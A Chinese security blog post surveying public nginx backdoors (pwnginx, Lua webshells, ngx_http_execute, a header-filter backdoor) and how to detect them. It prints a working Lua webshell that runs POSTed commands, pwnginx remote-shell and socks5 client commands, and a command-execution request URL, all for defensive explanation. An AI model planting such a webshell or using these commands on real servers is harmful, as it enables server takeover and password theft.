网站首页 > 技术教程 正文
原创 admin河马 这里是河马 6天前
Nginx (engine x) 是一个高性能的HTTP和反向代理web服务器,同时也提供了IMAP/POP3/SMTP服务。河马安全团队在上一篇文章中预警了一个最近流行的nginx后门。本文收集介绍另外几个公开的nginx后门程序。
简介
目前的nginx后门根据加载方式来分有两类: 动态库模块(so module)和二进制nginx程序。顾名思义,动态库模块就是后门作为nginx模块(so module)加载,本身不改变nginx程序;第二类则是先通过编译加入后门代码的nginx,然后替换掉目标nginx程序来加载。两种方式各有优劣,具体还要看攻击场景,从防护角度来看,对于模块、进程、nginx相关的可执行文件都应该进行检查。在应急响应中也是一个不能忽视的点。另外值得一提的是openresty和Tengine作为nginx的Bundle或分支,在使用这两款软件时也要注意。
pwnginx及其变种
pwnginx是一个在7年前发布在github上开源项目(github地址见文章末尾参考链接)。根据分析基于该开源项目的nginx后门在网络上可能存在诸多变种。黑客可以通过client来控制被植入pwnginx的服务器。笔者将编译后的pwnginx后门上传到virustotal上进行检测,发现可以过全部杀软。
后门功能
- 远程shell访问通过客户端控制 ./pwnginx shell [ip] [port] [password]
- 通过已有的http连接建立socks5隧道通过客户端控制 ./pwnginx socks5 [ip] [port] [password] [socks5ip] [socks5port]
- http 密码嗅探与记录(内容保存在/tmp/.web_sniff文件中)
后门检测
该后门有一些特定的字符串特征,可以查找nginx文件中是否包含如下字符串:
/tmp/.web_sniffpwnginx=
可以通过strings程序进行查找。
nginx lua
nginx的lua-nginx-module可以加载lua脚本,可以利用lua脚本来增强nginx的功能,该模块在openresty和Tengine中为默认安装。攻击者将带有恶意的lua脚本加载到nginx,从而可以执行任意系统命令、接管系统。这种情况也可以理解为攻击者放入了lua语言的webshell
后门检测
在nginx的配置文件中,查找所有content_by_lua_file 、init_by_lua_file 和require等关键字,确定lua文件位置。在分析每一个lua文件,查看是否存在io.popen关键字。从而确定是否为后门。
lua文件内容大致如下:
ngx.req.read_body()local post_args = ngx.req.get_post_args()local cmd = post_args["cmd"]if cmd then f_ret = io.popen(cmd) local ret = f_ret:read("*a") ngx.say(string.format("%s", ret))end
nginx execute
该后门利用nginx的ngx_http_execute,从而达到执行任意系统命令的目的。攻击者可以通过特定的请求即可执行任意系统命令。
请求如下:
http://website/?system.run[ifconfig]
后门检测
查看nginx的配置文件中是否加载ngx_http_execute_module.so 模块。同时确认nginx的配置文件中是否存在command on
nginx header-filter后门
该款后门在前一天的公众号中发布过专门的文章,详情请看https://mp.weixin.qq.com/s/Vyfto0qn4L16s9dNfVOEqQ
改后门是修改了nginx的ngx_http_header_filter, 检测header中的特殊cookie,匹配到之后反连到攻击者机器上。
安全建议
nginx后门比较隐蔽性,安全运维人员不易察觉。定期检测Web服务器有助于降低风险。对系统的关键文件进行完整性检测。此外一些不寻常的的特征也需要警觉,比如说nginx程序没有符号表或者被加壳(此时匹配不到本文介绍的一些特征),在发现上述后门时,除了及时清理掉后门还应当对整个系统的进行完整性的检测。
同理IIS的isapi加载后门、apache的动态库加载后门也值得重视。如果您对服务器后门、webshell的检测感兴趣,请关注我们。如果您遇到类似的问题或者发现新的nginx后门也可以通过公众号和我们取得联系;我们一起做个键盘侠,携手维护网络安全。
相关链接
- https://mp.weixin.qq.com/s/Vyfto0qn4L16s9dNfVOEqQ
- https://cssxn.github.io/posts/nginx-backdoor-analysis/
- https://github.com/netxfly/nginx_lua_security
- https://github.com/t57root/pwnginx
- https://github.com/limithit/NginxExecute
- https://nginx.org
- http://openresty.org/cn/
- 上一篇: 2020我在小公司、大公司的4年区别
- 下一篇: 一个工具帮你搞定实时监控Nginx服务器
猜你喜欢
- 2024-10-13 管理员朋友,请警惕最新出现的nginx后门
- 2024-10-13 2.7K Star!程序员必备!Nginx UI,让服务器配置不再难!
- 2024-09-28 nginx入门菜鸟教程(nginx 入门)
- 2024-09-28 nginx请求行读取流程(nginx怎么处理http请求)
- 2024-09-28 一个工具帮你搞定实时监控Nginx服务器
你 发表评论:
欢迎- 最近发表
-
- Win10 TH2正式版官方ESD映像转换ISO镜像方法详解
- 使用iso镜像升级到Windows 10的步骤
- macOS Ventura 13.2 (22D49) Boot ISO 原版可引导镜像
- 安利一个用ISO镜像文件制作引导U盘的的小工具RUFUS
- CentOS 7使用ISO镜像配置本地yum源
- 用于x86平台的安卓9.0 ISO镜像发布下载:通吃I/A/N、完全免费
- AlmaLinux 9.6发布:升级工具、初步支持IBM Power虚拟化技术
- Rufus写入工具简洁介绍与教程(写入模式)
- 新硬件也能安装使用了,Edge版Linux Mint 21.3镜像发布
- 开源工程师:Ubuntu应该抛弃32位ISO镜像
- 标签列表
-
- 下划线是什么 (87)
- 精美网站 (58)
- qq登录界面 (90)
- nginx 命令 (82)
- nginx .http (73)
- nginx lua (70)
- nginx 重定向 (68)
- Nginx超时 (65)
- nginx 监控 (57)
- odbc (59)
- rar密码破解工具 (62)
- annotation (71)
- 红黑树 (57)
- 智力题 (62)
- php空间申请 (61)
- 按键精灵 注册码 (69)
- 软件测试报告 (59)
- ntcreatefile (64)
- 闪动文字 (56)
- guid (66)
- abap (63)
- mpeg 2 (65)
- column (63)
- dreamweaver教程 (57)
- excel行列转换 (56)
本文暂时没有评论,来添加一个吧(●'◡'●)